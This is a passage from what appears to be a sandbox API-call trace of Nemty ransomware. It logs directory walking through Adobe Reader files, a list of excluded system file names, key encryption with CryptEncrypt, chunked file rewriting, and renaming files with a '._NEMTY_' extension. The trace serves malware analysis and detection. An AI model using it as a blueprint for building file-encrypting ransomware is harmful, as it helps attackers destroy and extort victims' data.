lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.757] CloseHandle (hObject=0xffffffff) returned 0 [0207.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.757] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h._nemty_kgobjgd_")) returned 0 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.757] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="HKGCCS~2")) returned 1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2=".") returned 1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="..") returned 1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="...") returned 1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="windows") returned -1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0207.757] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="rsa") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="NTDETECT.COM") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="ntldr") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="MSDOS.SYS") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="IO.SYS") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="boot.ini") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="boot.ini") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="ntuser.dat") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="desktop.ini") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="CONFIG.SYS") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="RECYCLER") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="bootmgr") returned 1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="programdata") returned -1 [0207.758] lstrcmpiW (lpString1="HKgccs-B5-V", lpString2="appdata") returned 1 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-V", lpUsedDefaultChar=0x0) returned 11 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-V", lpUsedDefaultChar=0x0) returned 11 [0207.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-V", lpUsedDefaultChar=0x0) returned 11 [0207.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.758] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-V", lpUsedDefaultChar=0x0) returned 11 [0207.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.758] Sleep (dwMilliseconds=0x5) [0207.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f7b0cf0, dwHighDateTime=0x1d561e8)) [0207.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f7b0cf0, dwHighDateTime=0x1d561e8)) [0207.781] GetLastError () returned 0x5 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.781] GetLastError () returned 0x5 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0207.781] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="IR5q97jQSwLiPERAlsSgyO5IMZhe/wufbQRCyB4wPXxUcc3rLqyejj5JbGXz1QI1\r\nyvty9EykirkkgraTELNT/ad1v0ybk6ogjxvg+gx7nnvXpUGr7G/ADgW5PE4bWVby\r\nUoNJyqYRFFJUOpukJHqRAMb3wUKlh6iBN/gDSSJofBrvv8PtYc/nSyoS046CG9I6\r\n85FaoWUQVFLmccjS1Yjot6qPjiad/BL4aEWMeiZgM+g83aeNv/G2GITkuD8To+Oo\r\nGL+OI0v4La/k4giPF9t1Tu5/d6f23tBGazWsx27N+EvKvWvoVywAEu7JidJ8vILI\r\n/QsKBR22eoH/SDMVqF9+Fw==\r\n", pcchString=0x653e91c) returned 1 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0207.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0207.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0207.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.782] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.882] WriteFile (in: hFile=0xffffffff, 